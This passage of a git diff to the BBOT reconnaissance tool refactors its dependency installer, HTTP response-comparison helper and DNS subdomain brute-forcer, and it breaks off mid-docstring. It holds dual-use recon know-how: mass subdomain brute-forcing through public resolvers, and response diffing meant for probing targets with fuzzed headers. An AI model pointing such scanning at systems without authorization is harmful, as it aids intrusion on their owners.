field_validator("host")(validators.validate_host) + _validate_port = field_validator("port")(validators.validate_port) _validate_severity = field_validator("severity")(validators.validate_severity) _validate_confidence = field_validator("confidence")(validators.validate_confidence) + @property + def port(self): + return self.data.get("port") or super().port + def _pretty_string(self): severity = self.data["severity"] confidence = self.data["confidence"] @@ -1959,7 +2022,8 @@ def _pretty_string(self): confidence_str = f"[\033[1m{confidence}\033[0m]" else: confidence_str = f"[{confidence}]" - return f"Severity: [{severity}] Confidence: {confidence_str} {description}" + archived_str = "[ARCHIVED] " if self.archive_url else "" + return f"{archived_str}Severity: [{severity}] Confidence: {confidence_str} {description}" def _data_human(self): parts = [] @@ -1967,11 +2031,18 @@ def _data_human(self): parts.append(f"Confidence: [{self.data['confidence']}]") parts.append(self.data["description"]) url = self.data.get("url", "") + host = self.data.get("host", "") if url and url not in self.data["description"]: parts.append(f"({url})") + elif host and not url and host not in self.data["description"]: + port = self.data.get("port") + parts.append(f"Host: [{make_netloc(host, port) if port else host}]") cves = self.data.get("cves", []) if cves: parts.append(f"[{', '.join(cves)}]") + archive_url = self.archive_url + if archive_url: + parts.append(f"(archived: {archive_url})") return " ".join(parts) @@ -1980,6 +2051,7 @@ class _data_validator(BaseModel): host: str technology: str url: Optional[str] = None + cpe: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) @@ -2453,6 +2525,11 @@ def event_from_json(j): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = frozenset(resolved_hosts) if resolved_hosts else None + # some events (e.g. FINDING) carry a port that isn't derivable from their data + port = j.get("port", None) + if port is not None: + event._port = port + http_title = j.get("http_title", "") if http_title: try: @@ -2460,6 +2537,15 @@ def event_from_json(j): except AttributeError: pass + # must be restored, not recomputed: it feeds _data_id, so dropping it here + # would give the rebuilt event a different id than the one that was serialized + reemit_source = j.get("reemit_source", "") + if reemit_source: + try: + event.reemit_source = reemit_source + except AttributeError: + pass + # accept both isoformat and unix timestamp try: event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) diff --git a/bbot/core/helpers/async_helpers.py b/bbot/core/helpers/async_helpers.py index 4620dc8345..526852c362 100644 --- a/bbot/core/helpers/async_helpers.py +++ b/bbot/core/helpers/async_helpers.py @@ -4,6 +4,7 @@ import asyncio import logging import functools +import itertools from contextlib import suppress from cachetools import keys, LRUCache from contextlib import asynccontextmanager @@ -20,6 +21,25 @@ def _get(self): return self._queue.popleft() +class LaneQueue(asyncio.PriorityQueue): + """ + A queue divided into lanes, where items in a lower lane are always dequeued before items in a higher one. + + `lane_fn` assigns each item its lane (an int). Items within the same lane are dequeued in FIFO order. + """ + + def __init__(self, lane_fn, maxsize=0): + self._lane_fn = lane_fn + self._sequence = itertools.count() + super().__init__(maxsize) + + def _put(self, item): + super()._put((self._lane_fn(item), next(self._sequence), item)) + + def _get(self): + return super()._get()[-1] + + class _Lock(asyncio.Lock): def __init__(self, name): self.name = name diff --git a/bbot/core/helpers/cache.py b/bbot/core/helpers/cache.py index 3a70fbd248..3a4e5d73d0 100644 --- a/bbot/core/helpers/cache.py +++ b/bbot/core/helpers/cache.py @@ -1,6 +1,6 @@ -import os import time import logging +from pathlib import Path from .misc import sha1 @@ -41,12 +41,13 @@ def cache_put(self, key, content): f.write(content) +def is_fresh(self, path, cache_hrs=24 * 7): + path = Path(path) + return path.is_file() and path.stat().st_mtime > time.time() - cache_hrs * 3600 + + def is_cached(self, key, cache_hrs=24 * 7): - filename = self.cache_filename(key) - if filename.is_file(): - (m, i, d, n, u, g, sz, atime, mtime, ctime) = os.stat(filename) - return mtime > time.time() - cache_hrs * 3600 - return False + return self.is_fresh(self.cache_filename(key), cache_hrs) def cache_filename(self, key): diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 82579b4396..179be599d5 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -2,11 +2,14 @@ import sys import stat import json +import fcntl import mmh3 import orjson import shutil import getpass import logging +import uuid +import asyncio from time import sleep from pathlib import Path from threading import Lock @@ -25,6 +28,8 @@ class DepsInstaller: + LOCK_POLL_INTERVAL = 0.25 + CORE_DEPS = { # core BBOT dependencies in the format of binary: package_name # each one will only be installed if the binary is not found @@ -134,8 +139,12 @@ def __init__(self, parent_helper): self.data_dir = self.parent_helper.cache_dir / "depsinstaller" self.parent_helper.mkdir(self.data_dir) self.setup_status_cache = self.data_dir / "setup_status.json" + self._setup_status_stamp = None self.command_status = self.data_dir / "command_status" self.parent_helper.mkdir(self.command_status) + self.ansible_artifact_dir = self.data_dir / "ansible_artifacts" + self.parent_helper.mkdir(self.ansible_artifact_dir) + self.ansible_fact_cache = self.ansible_artifact_dir / "fact_cache" self.setup_status = self.read_setup_status() # make sure we're using a minimal git config @@ -152,13 +161,129 @@ def __init__(self, parent_helper): self.ensure_root_lock = Lock() + # pip specs covered by the current batch pass; install_module() skips these + self._batch_installed = set() + async def install(self, *modules): + # Concurrent scans (notably xdist workers) share the deps dir, so serialize + # installs across processes: without this they race on the same files and + # each pays the full install anyway. + # Taking the lock unconditionally serializes every scan behind whichever one + # is actually installing, so check first whether there is any work to do. + # That check only reads, so it is safe outside the lock. + self.setup_status = self.read_setup_status() + nothing_to_do = self._all_deps_satisfied(modules) + if nothing_to_do is not None: + return nothing_to_do + # A holder installs every module it needs under a single lock hold, so blocking + # on the lock costs the holder's whole chain rather than just the part this + # caller needs. Poll instead, rechecking after each publish whether our own deps + # have arrived; a caller that needs nothing more then never takes the lock. + lock = open(self.data_dir / "install.lock", "w") + try: + while not self._try_lock(lock): + await asyncio.sleep(self.LOCK_POLL_INTERVAL) + if not self._setup_status_changed(): + continue + self.setup_status = self.read_setup_status() + satisfied = self._all_deps_satisfied(modules) + if satisfied is not None: + return satisfied + # another process may have installed deps while we waited for the lock + self.setup_status = self.read_setup_status() + return await self._install(*modules) + finally: + lock.close() + + def _all_deps_satisfied(self, modules): + """Return (succeeded, failed) if every module is already installed, else None. + + Mirrors the accounting in _install() so the fast path and the locked path + agree on which modules count as succeeded. + """ + # retry_failed only revisits modules recorded as failed; the loop below already + # declines on any status that is not True, so it is safe on this path. + # force_install reinstalls regardless of status, so it can never skip the lock. + if self.deps_behavior == "force_install": + return None + if not self._core_deps_cached(): + return None + succeeded = [] + for m in modules: + if self.deps_behavior == "disable": + succeeded.append(m) + continue + preloaded = self.all_modules_preloaded.get(m) + if preloaded is None: + return None + if not list(chain(*preloaded["deps"].values())): + succeeded.append(m) + continue + if self.setup_status.get(self._module_hash(preloaded), None) is not True: + return None + satisfied, _ = self._pip_deps_satisfied(preloaded["deps"]["pip"]) + if not satisfied: + return None + succeeded.append(m) + succeeded.sort() + return succeeded, [] + + def _core_deps_cached(self): + core_deps_hash = str(mmh3.hash(orjson.dumps(self.CORE_DEPS, option=orjson.OPT_SORT_KEYS))) + return (self.parent_helper.cache_dir / core_deps_hash).exists() + + def _module_hash(self, preloaded): + return self.parent_helper.sha1( + json.dumps(preloaded["deps"], sort_keys=True) + + self.venv + + str(self.parent_helper.deps_home) + + os.uname()[1] + + str(__version__) + ).hexdigest() + + def _try_lock(self, f): + try: + fcntl.flock(f, fcntl.LOCK_EX | fcntl.LOCK_NB) + except OSError: + return False + return True + + def _setup_status_changed(self): + try: + stamp = self.setup_status_cache.stat().st_mtime_ns + except OSError: + stamp = None + changed = stamp != self._setup_status_stamp + self._setup_status_stamp = stamp + return changed + + def _install_order(self, modules): + """Order modules cheapest-first so waiters unblock as early as possible. + + The holder installs its whole set under one lock hold and publishes + setup_status per module. A pip-only module is already satisfied by + _batch_pip_install(), so processing it behind a module that compiles from + source strands every waiter on it for the length of that build. + """ + + def cost(m): + preloaded = self.all_modules_preloaded.get(m) + if preloaded is None: + return 0 + deps = preloaded["deps"] + return 1 if (deps["apt"] or deps["shell"] or deps["ansible"] or deps["common"]) else 0 + + return sorted(modules, key=cost) + + async def _install(self, *modules): + self._discard_corrupt_fact_cache() await self.install_core_deps() succeeded = [] failed = [] + await self._batch_pip_install(modules) try: notified = False - for m in modules: + for m in self._install_order(modules): # assume success if we're ignoring dependencies if self.deps_behavior == "disable": succeeded.append(m) @@ -171,14 +296,8 @@ async def install(self, *modules): preloaded = self.all_modules_preloaded[m] log.debug(f"Installing {m} - Preloaded Deps {preloaded['deps']}") # make a hash of the dependencies and check if it's already been handled - # take into consideration whether the venv or bbot home directory changes - module_hash = self.parent_helper.sha1( - json.dumps(preloaded["deps"], sort_keys=True) - + self.venv - + str(self.parent_helper.bbot_home) - + os.uname()[1] - + str(__version__) - ).hexdigest() + # take into consideration whether the venv or the deps directory changes + module_hash = self._module_hash(preloaded) success = self.setup_status.get(module_hash, None) dependencies = list(chain(*preloaded["deps"].values())) if len(dependencies) <= 0: @@ -206,6 +325,9 @@ async def install(self, *modules): self.ensure_root(f'Module "{m}" needs root privileges to install its dependencies.') success = await self.install_module(m) self.setup_status[module_hash] = success + # waiters poll this file to learn their own deps have landed, so + # publish per module instead of once the whole chain is done + self.write_setup_status() if success or self.deps_behavior == "ignore_failed": log.debug(f'Setup succeeded for module "{m}"') succeeded.append(m) @@ -248,7 +370,13 @@ async def install_module(self, module): deps_pip = preloaded["deps"]["pip"] deps_pip_constraints = preloaded["deps"]["pip_constraints"] if deps_pip: - success &= await self.pip_install(deps_pip, constraints=deps_pip_constraints) + # _batch_pip_install() just installed these in one resolver pass, so repeating + # them per module spawns a no-op pip subprocess costing seconds. Only skip specs + # the batch actually covered, so --upgrade still runs for everything else. + if all(dep in self._batch_installed for dep in deps_pip): + log.debug(f'Pip dependencies for module "{module}" were installed in the batch pass') + else: + success &= await self.pip_install(deps_pip, constraints=deps_pip_constraints) # shared/common deps_common = preloaded["deps"]["common"] @@ -358,6 +486,20 @@ def tasks(self, module, tasks): log.error(f"Failed to run Ansible tasks for {module}") return success + def _discard_corrupt_fact_cache(self): + # an unreadable entry makes every later playbook fail until it expires + if not self.ansible_fact_cache.is_dir(): + return + for entry in self.ansible_fact_cache.iterdir(): + if not entry.is_file(): + continue + try: + json.loads(entry.read_text()) + except Exception: + log.debug(f"Discarding corrupt ansible fact cache entry: {entry}") + with suppress(OSError): + entry.unlink() + def ansible_run(self, tasks=None, module=None, args=None, ansible_args=None): _ansible_args = {"ansible_connection": "local", "ansible_python_interpreter": sys.executable} if ansible_args is not None: @@ -385,30 +527,44 @@ def ansible_run(self, tasks=None, module=None, args=None, ansible_args=None): shutil.rmtree(data_dir, ignore_errors=True) self.parent_helper.mkdir(data_dir) - res = run( - playbook=playbook, - private_data_dir=str(data_dir), - host_pattern="localhost", - inventory={ - "all": {"hosts": {"localhost": _ansible_args}}, - }, - module=module, - module_args=module_args, - quiet=True, - verbosity=0, - cancel_callback=lambda: None, - ) - - log.debug(f"Ansible status: {res.status}") - log.debug(f"Ansible return code: {res.rc}") - success = res.status == "successful" - err = "" - for e in res.events: - if self.ansible_debug and not success: - log.debug(json.dumps(e, indent=2)) - if e["event"] == "runner_on_failed": - err = e["event_data"]["res"]["msg"] - break + # unique ident keeps each run's events isolated; fact_cache escapes it so + # facts are gathered once instead of on every playbook + ident = uuid.uuid4().hex + + try: + res = run( + playbook=playbook, + private_data_dir=str(data_dir), + artifact_dir=str(self.ansible_artifact_dir), + ident=ident, + fact_cache="../fact_cache", + fact_cache_type="jsonfile", + envvars={"ANSIBLE_GATHERING": "smart", "ANSIBLE_CACHE_PLUGIN_TIMEOUT": "86400"}, + host_pattern="localhost", + inventory={ + "all": {"hosts": {"localhost": _ansible_args}}, + }, + module=module, + module_args=module_args, + quiet=True, + verbosity=0, + cancel_callback=lambda: None, + ) + + log.debug(f"Ansible status: {res.status}") + log.debug(f"Ansible return code: {res.rc}") + success = res.status == "successful" + err = "" + for e in res.events: + if self.ansible_debug and not success: + log.debug(json.dumps(e, indent=2)) + if e["event"] == "runner_on_failed": + result = e.get("event_data", {}).get("res", {}) + err = result.get("msg") or result.get("stderr") or "" + break + finally: + # events are read lazily out of the artifact dir, so only discard it once they are consumed + shutil.rmtree(self.ansible_artifact_dir / ident, ignore_errors=True) return success, err def read_setup_status(self): @@ -420,8 +576,11 @@ def read_setup_status(self): return setup_status def write_setup_status(self): - with open(self.setup_status_cache, "w") as f: + # readers take no lock, so swap the file in atomically to avoid a torn read + tmp = self.setup_status_cache.with_suffix(f".{os.getpid()}.tmp") + with open(tmp, "w") as f: json.dump(self.setup_status, f) + os.replace(tmp, self.setup_status_cache) def ensure_root(self, message=""): self._install_sudo_askpass() @@ -472,6 +631,63 @@ def _core_dep_satisfied(self, command): ) return bool(self.parent_helper.which(command)) + async def _batch_pip_install(self, modules): + """Pre-install every module's pip deps in one resolver pass. + + install_module() still runs per module afterward, but skips any spec this pass + covered. Already-satisfied specs are batched rather than dropped so that + --upgrade still runs for them, in one resolver pass instead of one subprocess + per module. Only modules using the default constraints are batched, since + custom constraints must be resolved against their own set. + """ + # scoped to this pass: a later install() call may face a different environment, + # so stale coverage must never suppress its per-module installs + self._batch_installed = set() + if self.deps_behavior == "disable": + return + + packages = [] + seen = set() + constrained = set() + for m in modules: + preloaded = self.all_modules_preloaded.get(m) + if not preloaded: + continue + if not self._needs_install(preloaded): + continue + deps = preloaded.get("deps", {}) + if deps.get("pip_constraints"): + constrained.update(deps.get("pip", [])) + continue + for dep in deps.get("pip", []): + if dep in seen: + continue + seen.add(dep) + packages.append(dep) + + if len(packages) < 2: + return + + log.verbose(f"Batch-installing {len(packages):,} pip packages for {len(modules):,} modules") + if await self.pip_install(packages): + # a spec shared with a module carrying custom constraints must still be + # resolved against those constraints, so it never counts as covered + self._batch_installed.update(set(packages) - constrained) + + def _needs_install(self, preloaded): + """Whether _install() will actually reach install_module() for this module. + + Batching deps for a module that is already recorded done would install + packages the locked path would never have touched. + """ + if self.deps_behavior in ("disable", "force_install"): + return self.deps_behavior == "force_install" + success = self.setup_status.get(self._module_hash(preloaded), None) + if success is True: + satisfied, _ = self._pip_deps_satisfied(preloaded["deps"]["pip"]) + return not satisfied + return success is None or self.deps_behavior == "retry_failed" + def _pip_deps_satisfied(self, deps_pip): """Check whether a module's pip dependencies are currently installed in this environment. @@ -527,17 +743,22 @@ async def install_core_deps(self): # install ansible community.general collection if needed overall_success = True if not self.setup_status.get("ansible:community.general", False): - log.info("Installing Ansible Community General Collection") - try: - command = ["ansible-galaxy", "collection", "install", "community.general"] - await self.parent_helper.run(command, check=True) - self.setup_status["ansible:community.general"] = True - log.info("Successfully installed Ansible Community General Collection") - except CalledProcessError as err: - log.warning( - f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" + if self._local_pkg_mgrs_are_builtin(): + log.debug( + "Skipping Ansible Community General Collection (local package manager is built into ansible-core)" ) - overall_success = False + else: + log.info("Installing Ansible Community General Collection") + try: + command = ["ansible-galaxy", "collection", "install", "community.general"] + await self.parent_helper.run(command, check=True) + self.setup_status["ansible:community.general"] = True + log.info("Successfully installed Ansible Community General Collection") + except CalledProcessError as err: + log.warning( + f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" + ) + overall_success = False # only run ansible if there's actually something to install if playbook: self._install_sudo_askpass() @@ -554,6 +775,26 @@ async def install_core_deps(self): with suppress(Exception): core_deps_cache_file.touch() + @staticmethod + def _local_pkg_mgrs_are_builtin(): + """True if every package manager present on this host ships with ansible-core. + + The only reason we install community.general is that the `package` action + dispatches to a per-manager module (pacman, apk, zypper...) that lives in + that collection. ansible-core bundles apt/dnf/dnf5, so on those hosts the + galaxy install is a pure no-op download. + """ + try: + import ansible.modules + from ansible.module_utils.facts.system.pkg_mgr import PKG_MGRS + except Exception: + return False + bundled = Path(ansible.modules.__file__).resolve().parent + present = {p["name"] for p in PKG_MGRS if os.path.exists(p["path"])} + if not present: + return False + return all((bundled / f"{name}.py").is_file() for name in present) + def _setup_sudo_cache(self): if not self._sudo_cache_setup: self._sudo_cache_setup = True diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 126f122e68..8ff502be05 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -1,12 +1,146 @@ +import json import logging import xmltodict -from deepdiff import DeepDiff +from time import monotonic +from itertools import islice from contextlib import suppress from xml.parsers.expat import ExpatError from bbot.errors import HttpCompareError log = logging.getLogger("bbot.core.helpers.diff") +# Body comparisons are linear, so they should take milliseconds. Log anything +# wildly slower than that -- it means a body shape we didn't anticipate. +SLOW_COMPARE_THRESHOLD = 2.0 + +# Flattening a structured body costs memory proportional to its leaf count, and a +# baseline is held for the lifetime of the HttpCompare. Past these limits, compare as +# lines instead -- a body this big doesn't need leaf-level precision. +MAX_STRUCTURED_BODY_SIZE = 2_000_000 +MAX_STRUCTURED_LEAVES = 10_000 + +# Bodies with at least this many lines compare fine as lines; structure is only +# needed for the few-line shape (a minified JSON or XML API response). +MAX_STRUCTURED_LINES = 20 + +_MISSING = object() + + +def _tree_leaves(node, path=()): + """Flatten a parsed JSON/XML tree into (path, leaf_value) pairs.""" + if isinstance(node, dict) and node: + for key, value in node.items(): + yield from _tree_leaves(value, (*path, key)) + elif isinstance(node, list) and node: + for i, value in enumerate(node): + yield from _tree_leaves(value, (*path, i)) + else: + # scalars, and empty containers -- which compare unequal to each other + yield path, node + + +class _LineBody: + """A response body compared as a list of lines. + + Lines are matched by content rather than position, so a line that merely + moves is not a difference. Positions that varied between the two baseline + samples are filtered out, which is how volatile content (CSRF tokens, + timestamps, the echoed request path) is ignored. + + Only the first occurrence of each differing line counts, so a volatile line + repeated down the page filters one position rather than every copy of it. + """ + + __slots__ = ("lines", "line_set") + + def __init__(self, lines): + self.lines = lines + self.line_set = set(lines) + + def _novel_lines(self, other_set): + """(position, line) for the first occurrence of each line absent from `other_set`.""" + seen = set() + for i, line in enumerate(self.lines): + if line not in other_set and line not in seen: + seen.add(line) + yield i, line + + def volatile_paths(self, other): + """Positions of the first occurrence of each line not present anywhere in `other`.""" + return {i for i, _ in self._novel_lines(other.line_set)} + + def matches(self, other, filtered): + for body, other_set in ((self, other.line_set), (other, self.line_set)): + for i, _ in body._novel_lines(other_set): + if i not in filtered: + return False + return True + + +class _StructuredBody: + """A JSON or XML response body, compared leaf-by-leaf and keyed by path. + + Paths are stable across requests, so volatile leaves are filtered by path. + That works even for a body served on a single line -- the usual shape for a + JSON API -- where a line-oriented comparison sees one volatile line and then + considers every subsequent body a match. + """ + + __slots__ = ("leaves",) + + def __init__(self, leaves): + self.leaves = leaves + + def volatile_paths(self, other): + """Element paths whose leaf value differs from `other`, or is missing on either side.""" + volatile = {path for path, value in self.leaves.items() if other.leaves.get(path, _MISSING) != value} + volatile.update(path for path in other.leaves if path not in self.leaves) + return volatile + + def matches(self, other, filtered): + for path in self.leaves.keys() | other.leaves.keys(): + if path in filtered: + continue + if self.leaves.get(path, _MISSING) != other.leaves.get(path, _MISSING): + return False + return True + + +def _structured(tree): + """A `_StructuredBody` for `tree`, or None if it has too many leaves to hold.""" + leaves = dict(islice(_tree_leaves(tree), MAX_STRUCTURED_LEAVES + 1)) + if len(leaves) > MAX_STRUCTURED_LEAVES: + return None + return _StructuredBody(leaves) + + +def parse_body(text): + """Parse a response body into its comparable form. + + Few-line JSON and XML are compared leaf-by-leaf; everything else as a list of lines. + Malformed, oversized, or pathologically nested input falls back to lines. + """ + lines = text.split("\n") + if len(lines) < MAX_STRUCTURED_LINES and len(text) <= MAX_STRUCTURED_BODY_SIZE: + with suppress(ExpatError, RecursionError): + if (body := _structured(xmltodict.parse(text))) is not None: + return body + with suppress(ValueError, RecursionError): + tree = json.loads(text) + # a bare scalar gives one leaf, which is no better than one line + if isinstance(tree, (dict, list)) and (body := _structured(tree)) is not None: + return body + return _LineBody(lines) + + +def _as_body(content): + """Coerce an already-parsed body (or a raw dict / line list) into a comparable body.""" + if isinstance(content, (_LineBody, _StructuredBody)): + return content + if isinstance(content, dict): + return _StructuredBody(dict(_tree_leaves(content))) + return _LineBody(list(content)) + class _BaselineSnapshot: """Lightweight stand-in for a blasthttp Response held by HttpCompare. @@ -18,7 +152,7 @@ class _BaselineSnapshot: The blasthttp Headers object is kept by reference (it survives Response GC independently) to preserve case-insensitive lookups and - duplicate-header semantics that DeepDiff relies on. + duplicate-header semantics that compare_headers() relies on. """ __slots__ = ("status_code", "headers", "_text", "_spill_key", "_spill_store") @@ -96,6 +230,8 @@ def __init__( self.json = json self.allow_redirects = allow_redirects self._baselined = False + # Positions/paths in the baseline body that varied between the two samples. + self.body_filters = set() self.headers = headers self.cookies = cookies self.timeout = 10 @@ -164,23 +300,10 @@ async def _baseline(self): log.debug("Status code not stable during baseline, aborting") raise HttpCompareError("Can't get baseline from source URL") - try: - baseline_1_json = xmltodict.parse(baseline_1.text) - baseline_2_json = xmltodict.parse(baseline_2.text) - except ExpatError: - baseline_1_json = baseline_1.text.split("\n") - baseline_2_json = baseline_2.text.split("\n") - - ddiff = DeepDiff( - baseline_1_json, baseline_2_json, ignore_order=True, view="tree", threshold_to_diff_deeper=0 + # Parsing and diffing two full response bodies is CPU-bound; keep it off the event loop. + self.baseline_body, self.body_filters = await self.parent_helper.run_in_executor_cpu( + self._baseline_bodies, baseline_1.text, baseline_2.text ) - self.ddiff_filters = [] - - for k in ddiff.keys(): - for x in list(ddiff[k]): - self.ddiff_filters.append(x.path()) - - self.baseline_json = baseline_1_json self.baseline_ignore_headers = [ h.lower() for h in [ @@ -212,6 +335,16 @@ async def _baseline(self): store = getattr(scan, "body_spill_store", None) self.baseline = _BaselineSnapshot(baseline_1, spill_store=store) + @staticmethod + def _baseline_bodies(text_1, text_2): + """Parse both baseline samples and work out which parts of the response are volatile.""" + body_1, body_2 = parse_body(text_1), parse_body(text_2) + if type(body_1) is not type(body_2): + # the samples disagree on a representation (one was truncated, say), + # so compare them as lines -- that always works + body_1, body_2 = _LineBody(text_1.split("\n")), _LineBody(text_2.split("\n")) + return body_1, body_1.volatile_paths(body_2) + def gen_cache_buster(self): return {self.parent_helper.rand_string(6): "1"} @@ -224,34 +357,37 @@ def compare_headers(self, headers_1, headers_2): with suppress(KeyError): del headers[header] - ddiff = DeepDiff(headers_1, headers_2, ignore_order=True, view="tree", threshold_to_diff_deeper=0) - - for k in ddiff.keys(): - for x in list(ddiff[k]): - try: - header_value = str(x).split("'")[1] - except (KeyError, IndexError): - continue - differing_headers.append(header_value) + # Headers iterate as lower-cased unique names; indexing returns the last value of a repeated header + names_1, names_2 = set(headers_1), set(headers_2) + for name in sorted(names_1 | names_2): + if name not in names_1 or name not in names_2 or headers_1[name] != headers_2[name]: + differing_headers.append(name) return differing_headers + @staticmethod + def parse_body(text): + """Parse a response body into the form compare_body() expects.""" + return parse_body(text) + def compare_body(self, content_1, content_2): + """Whether two bodies match, ignoring the parts observed to be volatile. + + Takes bodies parsed by `parse_body`. Callers that normalize response text + themselves (stripping their own reflected probe values, say) may pass raw + strings instead, which are compared verbatim. + """ if content_1 == content_2: return True - ddiff = DeepDiff( - content_1, - content_2, - ignore_order=True, - view="tree", - exclude_paths=self.ddiff_filters, - threshold_to_diff_deeper=0, - ) + if isinstance(content_1, str) or isinstance(content_2, str): + # raw text, already normalized by the caller -- no volatile parts to filter + return False - if len(ddiff.keys()) == 0: - return True - else: + body_1, body_2 = _as_body(content_1), _as_body(content_2) + if type(body_1) is not type(body_2): + # one body is structured and the other isn't -- that alone is a difference return False + return body_1.matches(body_2, self.body_filters) async def compare( self, @@ -264,6 +400,7 @@ async def compare( json=None, allow_redirects=False, timeout=None, + none_is_match=True, ): """ Compares a URL with the baseline, with optional headers or cookies added @@ -272,6 +409,8 @@ async def compare( where "match" is whether the content matched against the baseline, and "reason" is the location of the change ("code", "body", "header", or None), and "reflection" is whether the value was reflected in the HTTP response + + When the request fails outright, "match" is `none_is_match` and subject_response is None. """ await self._baseline() @@ -297,8 +436,10 @@ async def compare( ) if subject_response is None: - # this can be caused by a WAF not liking the header, so we really aren't interested in it - return (True, "403", reflection, subject_response) + # A dead request usually just means the probe wasn't interesting (a WAF not liking a + # fuzzed header, etc). Consumers that need to read it as interference, or as "unknown" + # rather than a verdict, pass none_is_match=False. + return (bool(none_is_match), ["request_failed"], reflection, None) if check_reflection: for arg in (headers, cookies): @@ -328,10 +469,8 @@ async def compare( def _compare_sync(self, subject_response, subject): """CPU-bound comparison work offloaded from the event loop.""" - try: - subject_json = xmltodict.parse(subject_response.text) - except ExpatError: - subject_json = subject_response.text.split("\n") + started = monotonic() + subject_body = parse_body(subject_response.text) diff_reasons = [] @@ -342,9 +481,13 @@ def _compare_sync(self, subject_response, subject): if different_headers: diff_reasons.append("header") - if self.compare_body(self.baseline_json, subject_json) is False: + if self.compare_body(self.baseline_body, subject_body) is False: diff_reasons.append("body") + elapsed = monotonic() - started + if elapsed > SLOW_COMPARE_THRESHOLD: + log.debug(f"Slow body comparison ({elapsed:.1f}s, {len(subject_response.text):,} bytes) for {subject}") + return diff_reasons async def canary_check(self, url, mode, rounds=3): diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index d243073a18..aff3f27683 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -1,18 +1,22 @@ -import json import random import asyncio import logging -import subprocess + +from blastdns import Client, ClientConfig, DNSError class DNSBrute: """ Helper for DNS brute-forcing. + Uses its own blastdns client, separate from the one backing normal + resolution: brute-forcing runs against a large public resolver list rather + than the system resolvers, and needs its own concurrency and rate limits. + Examples: >>> domain = "evilcorp.com" >>> subdomains = ["www", "mail"] - >>> results = await self.helpers.dns.brute(self, domain, subdomains) + >>> results = await self.helpers.dns.brute(domain, subdomains) """ _nameservers_url = ( @@ -24,11 +28,19 @@ def __init__(self, parent_helper): self.log = logging.getLogger("bbot.helper.dns.brute") self.dns_config = self.parent_helper.config.get("dns", {}) self.num_canaries = 100 - self.max_resolvers = self.dns_config.get("brute_threads", 1000) + self.concurrency = self.dns_config.get("brute_threads", 1000) + self.inflight_per_resolver = self.dns_config.get("brute_inflight_per_resolver", 2) + self.rate_limit = self.dns_config.get("brute_rate_limit", 0) + self.retries = self.dns_config.get("brute_retries", 20) + self.timeout = self.dns_config.get("brute_timeout", 0.5) + self.persistent_socket = self.dns_config.get("brute_persistent_socket", True) self.nameservers_url = self.dns_config.get("brute_nameservers", self._nameservers_url) + self.max_resolvers = self.dns_config.get("brute_max_resolvers", 600) self.devops_mutations = list(self.parent_helper.word_cloud.devops_mutations) self.digit_regex = self.parent_helper.re.compile(r"\d+") self._resolver_file = None + self._client = None + self._client_lock = None self._dnsbrute_lock = None async def __call__(self, *args, **kwargs): @@ -40,7 +52,47 @@ def dnsbrute_lock(self): self._dnsbrute_lock = asyncio.Lock() return self._dnsbrute_lock - async def dnsbrute(self, module, domain, subdomains, type=None): + @property + def client_lock(self): + if self._client_lock is None: + self._client_lock = asyncio.Lock() + return self._client_lock + + async def client(self): + """The blastdns client used for brute-forcing, built on first use. + + Construction is deferred because the resolver list has to be downloaded + first, and blastdns takes its resolvers at construction time. The list is + sampled once per scan, so the pacing the client learns carries across runs. + """ + async with self.client_lock: + if self._client is None: + resolver_file = await self.resolver_file() + resolvers = list(self.parent_helper.read_file(resolver_file)) + total = len(resolvers) + if self.max_resolvers and total > self.max_resolvers: + resolvers = random.sample(resolvers, self.max_resolvers) + self.log.verbose(f"Starting brute-force DNS client with {len(resolvers):,} of {total:,} resolvers") + self._client = Client( + resolvers, + ClientConfig( + max_concurrency=self.concurrency, + max_inflight_per_resolver=self.inflight_per_resolver, + rate_limit=self.rate_limit or None, + # A public resolver list carries a lot of dead entries; + # drop them up front instead of paying for them all scan. + resolver_probe=True, + # Brute-force queries are unique by construction, so a + # cache would only consume memory. + cache_capacity=0, + request_timeout_ms=int(self.timeout * 1000), + max_retries=self.retries, + persistent_socket=self.persistent_socket, + ), + ) + return self._client + + async def dnsbrute(self, domain, subdomains, type=None): subdomains = list(subdomains) if type is None: @@ -53,7 +105,7 @@ async def dnsbrute(self, module, domain, subdomains, type=None): wildcard_rdtypes.update(rdtypes) if wildcard_domains: self.log.hugewarning( - f"Aborting massdns on {domain} because it's a wildcard domain ({','.join(sorted(wildcard_rdtypes))})" + f"Aborting brute-force of {domain} because it's a wildcard domain ({','.join(sorted(wildcard_rdtypes))})" ) return [] @@ -66,7 +118,7 @@ async def dnsbrute(self, module, domain, subdomains, type=None): results = [] canaries_triggered = [] - async for hostname, ip, rdtype in self._massdns(module, domain, subdomains, rdtype=type): + async for hostname in self._resolve_subdomains(domain, subdomains, rdtype=type): sub = hostname.split(domain)[0].rstrip(".") if sub in canary_set: canaries_triggered.append(sub) @@ -75,77 +127,84 @@ async def dnsbrute(self, module, domain, subdomains, type=None): if len(canaries_triggered) > 5: self.log.info( - f"Aborting massdns on {domain} due to false positive: ({len(canaries_triggered):,} canaries triggered - {','.join(canaries_triggered)})" + f"Aborting brute-force of {domain} due to false positive: ({len(canaries_triggered):,} canaries triggered - {','.join(canaries_triggered)})" ) return [] # everything checks out return results - async def _massdns(self, module, domain, subdomains, rdtype): - """ - { - "name": "www.blacklanternsecurity.com.", - "type": "A", - "class": "IN", - "status": "NOERROR", - "data": { - "answers": [ - { - "ttl": 3600, - "type": "CNAME", - "class": "IN", - "name": "www.blacklanternsecurity.com.", - "data": "blacklanternsecurity.github.io." - }, - { - "ttl": 3600, - "type": "A", - "class": "IN", - "name": "blacklanternsecurity.github.io.", - "data": "185.199.108.153" - } - ] - }, - "resolver": "168.215.165.186:53" - } + async def _resolve_subdomains(self, domain, subdomains, rdtype): + """Resolve each candidate under ``domain``, yielding the ones that exist. + + Uses 